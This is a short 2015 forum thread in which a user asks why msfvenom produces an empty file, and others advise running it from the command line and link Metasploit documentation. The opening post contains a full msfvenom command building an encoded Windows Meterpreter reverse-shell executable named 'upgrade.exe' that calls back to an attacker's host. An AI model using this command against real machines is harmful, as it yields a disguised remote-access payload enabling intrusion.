srootz Posted October 12, 2015 Posted October 12, 2015 Hey guys, so I just started using metasploit, but i have the following problem: everytime I use msfvenom to generate a .exe file the following happens: I type something like: msfvenom -p windows/meterpreter/reversetcp -e x86/shikataganai -i 5 LHOST=<local IP> LPORT=1337 -f exe > upgrade.exe the output is the following: msf > msfvenom -p windows/meterpreter/reversetcp -e x86/shikata_ga_nai -i 5 LHOST=10.0.0.10 LPORT=1337 -f exe > upgrade.exe * exec: msfvenom -p windows/meterpreter/reversetcp -e x86/shikata_ga_nai -i 5 LHOST=10.0.0.10 LPORT=1337 -f exe > upgrade.exe The upgrade.exe file is empty.Database is connected.and I have no idea what to do. .. Hopefully you can help me! Greetings,S. Quote
digininja Posted October 12, 2015 Posted October 12, 2015 Are you running it from the command line or from inside Metasploit? It should be the command line. Quote
i8igmac Posted October 13, 2015 Posted October 13, 2015 Run it without writing to a file `> upgraid.exe` You should see the payload print to the screen if you see no output still, then also exclude the encoder Quote
Mr-Protocol Posted October 13, 2015 Posted October 13, 2015 Here is a pretty solid resource: https://www.offensive-security.com/metasploit-unleashed/ msfvenom specific: https://www.offensive-security.com/metasploit-unleashed/msfvenom/ Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.